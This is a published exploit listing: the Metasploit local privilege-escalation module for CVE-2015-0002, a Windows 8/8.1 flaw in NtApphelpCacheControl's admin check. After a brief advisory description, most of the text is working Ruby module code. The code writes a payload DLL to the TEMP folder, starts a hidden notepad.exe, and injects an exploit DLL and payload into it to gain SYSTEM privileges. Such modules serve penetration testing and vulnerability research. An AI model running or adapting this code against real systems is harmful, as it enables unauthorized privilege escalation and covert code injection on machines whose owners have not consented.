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Microsoft Windows NtApphelpCacheControl Improper Authorization Check

Microsoft Windows NtApphelpCacheControl Improper Authorization Check
Posted Jan 15, 2015
Authored by sinn3r, James Forshaw | Site metasploit.com

On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys) allows application compatibility data to be cached for quick reuse when new processes are created. A normal user can query the cache but cannot add new cached entries as the operation is restricted to administrators. This is checked in the function AhcVerifyAdminContext. This function has a vulnerability where it doesn't correctly check the impersonation token of the caller to determine if the user is an administrator. It reads the caller's impersonation token using PsReferenceImpersonationToken and then does a comparison between the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level of the token so it's possible to get an identify token on your thread from a local system process and bypass this check. This Metasploit module currently only affects Windows 8 and Windows 8.1, and requires access to C:\Windows\System\ComputerDefaults.exe (although this can be improved).

tags | exploit, local
systems | windows
advisories | CVE-2015-0002
MD5 | 0a24503dad5a5aa40600b53cdb125f0c

Microsoft Windows NtApphelpCacheControl Improper Authorization Check

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'msf/core/post/windows/reflective_dll_injection'

class Metasploit3 < Msf::Exploit::Local
Rank = NormalRanking

include Exploit::EXE
include Msf::Post::File
include Msf::Post::Windows::ReflectiveDLLInjection

def initialize(info={})
super(update_info(info, {
'Name' => 'Microsoft Windows NtApphelpCacheControl Improper Authorization Check',
'Description' => %q{
On Windows, the system call NtApphelpCacheControl (the code is actually in ahcache.sys)
allows application compatibility data to be cached for quick reuse when new processes are
created. A normal user can query the cache but cannot add new cached entries as the
operation is restricted to administrators. This is checked in the function
AhcVerifyAdminContext.

This function has a vulnerability where it doesn't correctly check the impersonation token
of the caller to determine if the user is an administrator. It reads the caller's
impersonation token using PsReferenceImpersonationToken and then does a comparison between
the user SID in the token to LocalSystem's SID. It doesn't check the impersonation level
of the token so it's possible to get an identify token on your thread from a local system
process and bypass this check.

This module currently only affects Windows 8 and Windows 8.1, and requires access to
C:\Windows\System\ComputerDefaults.exe (although this can be improved).
},
'License' => MSF_LICENSE,
'Author' =>
[
'James Forshaw',
'sinn3r'
],
'Platform' => 'win',
'SessionTypes' => [ 'meterpreter' ],
'Arch' => [ARCH_X86, ARCH_X86_64],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
},
'Targets' =>
[
[ 'Windows 8 / Windows 8.1 (x86 and x64)', {} ]
],
'DefaultTarget' => 0,
'Payload' =>
{
'Space' => 4096,
'DisableNops' => true
},
'References' =>
[
[ 'CVE', '2015-0002' ],
[ 'OSVEB', '116497' ],
[ 'EDB', '35661' ],
[ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=118']
],
'DisclosureDate' => 'Sep 30 2014'
}))
end

def temp
@temp ||= get_env('TEMP').to_s
end

def payload_filepath
@payload_filepath ||= "#{temp}\\#{Rex::Text.rand_text_alpha(6)}.dll"
end

def upload_payload_dll(payload_filepath)
payload = generate_payload_dll({:dll_exitprocess => true})
begin
write_file(payload_filepath, payload)
rescue Rex::Post::Meterpreter::RequestError => e
fail_with(
Failure::Unknown,
"Error uploading file #{payload_filepath}: #{e.class} #{e}"
)
end
end

def upload_payload
print_status("Payload DLL will be: #{payload_filepath}")

# Upload the payload
upload_payload_dll(payload_filepath)
if !file?(payload_filepath)
fail_with(Failure::Unknown, "Failed to save the payload DLL, or got removed. No idea why.")
end
end

def inject_exploit(process)
lib_file_path = ::File.join(
Msf::Config.data_directory, "exploits", "ntapphelpcachecontrol", 'exploit.dll'
)

print_status("Creating thread")
exploit_mem, offset = inject_dll_into_process(process, lib_file_path)
var_mem = inject_into_process(process, payload_filepath)
process.thread.create(exploit_mem + offset, var_mem)
end

def prep_exploit_host
process = nil
notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true})
begin
process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS)
rescue Rex::Post::Meterpreter::RequestError
process = client.sys.process.open
rescue ::Exception => e
elog("#{e.message}\nCall stack:\n#{e.backtrace.join("\n")}")
end
process
end

def check
if sysinfo['OS'] =~ /Windows 8/
# Still an 0day, but since this check doesn't actually trigger the vulnerability
# so we should only flag this as CheckCode::Appears
return Exploit::CheckCode::Appears
end

Exploit::CheckCode::Safe
end

def exploit
if session.platform !~ /^x86\//
print_error("Sorry, this module currently only allows x86/win32 sessions.")
print_error("You will have to get a x86/win32 session first, and then you can")
print_error("select a x64 payload as this exploit's payload.")
return
end

print_status("Uploading the payload DLL")
upload_payload

proc = prep_exploit_host
if !proc
fail_with(Failure::Unknown, "Fail to get a notepad.exe to run (to host the exploit)")
end

print_status("Injecting exploit into PID #{proc.pid}")
inject_exploit(proc)
end


end

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